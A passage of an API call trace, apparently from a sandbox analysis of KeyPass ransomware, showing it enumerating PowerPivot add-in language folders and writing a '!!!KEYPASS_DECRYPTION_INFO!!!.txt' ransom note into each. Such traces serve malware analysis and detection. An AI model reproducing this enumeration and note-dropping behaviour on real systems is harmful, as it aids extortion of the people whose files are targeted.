lpFindFileData=0x2e4e434) returned 1 [0255.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.532] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.532] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.533] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.533] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.533] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.533] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.533] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.533] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.533] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.533] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.533] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.533] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.533] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.533] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.533] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.533] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.533] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.533] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.533] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.533] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.533] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.533] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.533] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.533] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.533] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.533] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.533] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.533] GetLastError () returned 0x3f0 [0255.533] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.534] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x998 [0255.538] GetFileType (hFile=0x998) returned 0x1 [0255.538] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.538] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.538] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.538] WriteFile (in: hFile=0x998, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.539] WriteFile (in: hFile=0x998, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.539] CloseHandle (hObject=0x998) returned 1 [0255.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3a0a738 [0255.539] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.541] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.541] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\LocalizedStrings.xml") returned=".xml" [0255.541] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.541] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.541] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.541] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.541] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.541] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.541] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.541] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.541] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.541] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.541] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.542] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.542] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.542] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.542] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.542] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.544] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.544] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.544] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.544] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.544] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.544] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.544] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.544] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.544] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.544] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.545] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.545] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.545] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.545] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.545] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.545] FindNextFileW (in: hFindFile=0x3a0a738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.545] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.545] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.545] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.545] GetLastError () returned 0x3f0 [0255.545] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.545] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9ac [0255.549] GetFileType (hFile=0x9ac) returned 0x1 [0255.549] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.550] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.550] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.550] WriteFile (in: hFile=0x9ac, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.551] WriteFile (in: hFile=0x9ac, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.551] CloseHandle (hObject=0x9ac) returned 1 [0255.551] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3a0a138 [0255.551] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.552] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.552] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.552] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.552] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\LocalizedStrings.xml") returned=".xml" [0255.552] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.552] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.552] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.552] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.552] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.552] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.552] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.552] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.553] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.553] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.553] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.553] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.553] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.553] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.553] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.553] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.553] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.553] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.553] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.553] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.553] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.553] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.553] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.553] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.553] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.553] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.553] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.553] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.553] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.553] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.553] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.553] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.553] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.553] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.553] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.554] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.554] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.554] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.554] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.554] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.554] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.554] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.554] FindNextFileW (in: hFindFile=0x3a0a138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.554] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.554] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sqmapi.dll") returned=".dll" [0255.554] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.554] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.554] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.554] GetLastError () returned 0x3f0 [0255.554] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.554] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-cyrl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, 